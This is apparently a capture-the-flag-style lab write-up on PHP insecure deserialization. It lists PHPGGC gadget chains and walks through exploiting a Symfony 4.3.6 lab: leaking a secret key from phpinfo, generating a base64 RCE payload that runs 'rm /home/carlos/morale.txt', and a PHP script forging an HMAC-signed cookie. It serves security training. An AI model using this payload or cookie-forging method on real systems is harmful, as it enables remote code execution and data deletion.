Understanding the Concept
What is PHP Generic Gadget Chains
PHP Generic Gadget Chains are sets of exploit payloads crafted for PHP-based web applications vulnerable to insecure deserialization. These gadget chains utilize weaknesses in PHP’s serialization mechanism to manipulate the flow of data within the application, potentially leading to remote code execution (RCE), file read/write operations, or other malicious activities.
These chains are termed “generic” because they are not tied to a specific PHP framework or library. Instead, they exploit fundamental flaws in PHP’s serialization process, making them applicable across a wide range of PHP applications. They are often used by security researchers and attackers to demonstrate and exploit deserialization vulnerabilities in PHP applications.
Each gadget chain in the PHP Generic Gadget Chains collection targets a specific vulnerability in a PHP library or framework. For example, there might be gadget chains designed to exploit vulnerabilities in popular PHP frameworks like Laravel or CodeIgniter, or in libraries like Doctrine. These chains typically leverage specific classes and methods within the targeted frameworks or libraries to achieve their malicious objectives, such as executing arbitrary code or manipulating file systems.
Utilizing PHP Generic Gadget Chains:
In addition to Java, other languages like PHP are susceptible to insecure deserialization vulnerabilities. Tools like PHP Generic Gadget Chains (PHPGGC) offer proof-of-concept gadgets to exploit such vulnerabilities effectively.
PHPGGC Gadget Chains:
Name | Version Range | Type | Vector | Trigger |
---|---|---|---|---|
Bitrix/RCE1 | 17.x.x <= 22.0.300 | RCE (Function call) | __destruct | |
CakePHP/RCE1 | ? <= 3.9.6 | RCE (Command) | __destruct | |
CakePHP/RCE2 | ? <= 4.2.3 | RCE (Function call) | __destruct | |
CodeIgniter4/FR1 | 4.0.0 <= 4.3.6 | File read | __toString | * |
CodeIgniter4/RCE1 | 4.0.2 <= 4.0.3 | RCE (Function call) | __destruct | |
CodeIgniter4/RCE2 | 4.0.0-rc.4 <= 4.3.6 | RCE (Function call) | __destruct | |
CodeIgniter4/RCE3 | 4.0.4 <= 4.3.6 | RCE (Function call) | __destruct | |
CodeIgniter4/RCE4 | 4.0.0-beta.1 <= 4.0.0-rc.4 | RCE (Function call) | __destruct | |
CodeIgniter4/RCE5 | -4.1.3+ | RCE (Function call) | __destruct | |
CodeIgniter4/RCE6 | -4.1.3 <= 4.2.10+ | RCE (Function call) | __destruct | |
Doctrine/FW1 | ? | File write | __toString | * |
Doctrine/FW2 | 2.3.0 <= 2.4.0 | File write | __destruct | * |
Doctrine/RCE1 | 1.5.1 <= 2.7.2 | RCE (PHP code) | __destruct | * |
Doctrine/RCE2 | 1.11.0 <= 2.3.2 | RCE (Function call) | __destruct | * |
Dompdf/FD1 | 1.1.1 <= ? | File delete | __destruct | * |
And Many more |
It’s crucial to understand that the vulnerability lies in the deserialization of data controlled by the user, not just the presence of a gadget chain within the website’s code or its libraries. The gadget chain serves as a tool for manipulating the flow of this harmful data once it’s injected into the application. This principle extends to various memory corruption vulnerabilities that exploit the deserialization of untrusted data. Essentially, even if a website manages to address every potential gadget chain, it may still be vulnerable to exploitation.
When dealing with documented gadget chains, it’s not always guaranteed that there will be a dedicated tool available for exploiting them within the framework used by the target application. In such cases, it’s advisable to search online for any documented exploits that can be adapted manually. Tweaking the code might require a basic understanding of the language and framework involved, and there might be instances where you’ll need to serialize the object yourself. However, this approach is significantly less labor-intensive than constructing an exploit from scratch.
Objective of Lab
This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.
To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt
file from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Solution
- Log in and send a request containing your session cookie to Burp Repeater. Highlight the cookie and look at the Inspector panel.
- Notice that the cookie contains a Base64-encoded token, signed with a SHA-1 HMAC hash.
Copy the decoded cookie from the Inspector and paste it into Decoder.
In Decoder, highlight the token and then select Decode as > Base64. Notice that the token is actually a serialized PHP object.
- In Burp Repeater, observe that if you try sending a request with a modified cookie ( With username in serialized object as carlose and re-encoded as Base64), an exception is raised because the digital signature no longer matches. However, you should notice that:
◦ A developer comment discloses the location of a debug file at `/cgi-bin/phpinfo.php`.
◦ The error message reveals that the website is using the Symfony 4.3.6 framework.
- Request the
/cgi-bin/phpinfo.php
file in Burp Repeater and observe that it leaks some key information about the website, including theSECRET_KEY
environment variable. Save this key; you’ll need it to sign your exploit later.
We have the following data
SECRET_KEY = "gjtdda2e1jx5ws9cf0twfwbncq22wjyw"
PHP Framework Name = "Symfony Version: 4.3.6"
We can enumerate that Symfony 4.3.6 is vulnerable.
- Download the “PHPGGC” tool and execute the following command:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
This will generate a Base64-encoded serialized object that exploits an RCE gadget chain in Symfony to delete Carlos’s morale.txt
file.
You now need to construct a valid cookie containing this malicious object and sign it correctly using the secret key you obtained earlier. You can use the following PHP script to do this. Before running the script, you just need to make the following changes:
◦ Assign the object you generated in PHPGGC to the
$object
variable.◦ Assign the secret key that you copied from the
phpinfo.php
file to the$secretKey
variable.
<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "gjtdda2e1jx5ws9cf0twfwbncq22wjyw";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
This will output a valid, signed cookie to the console.
- In Burp Repeater, replace your session cookie with the malicious one you just created, then send the request to solve the lab.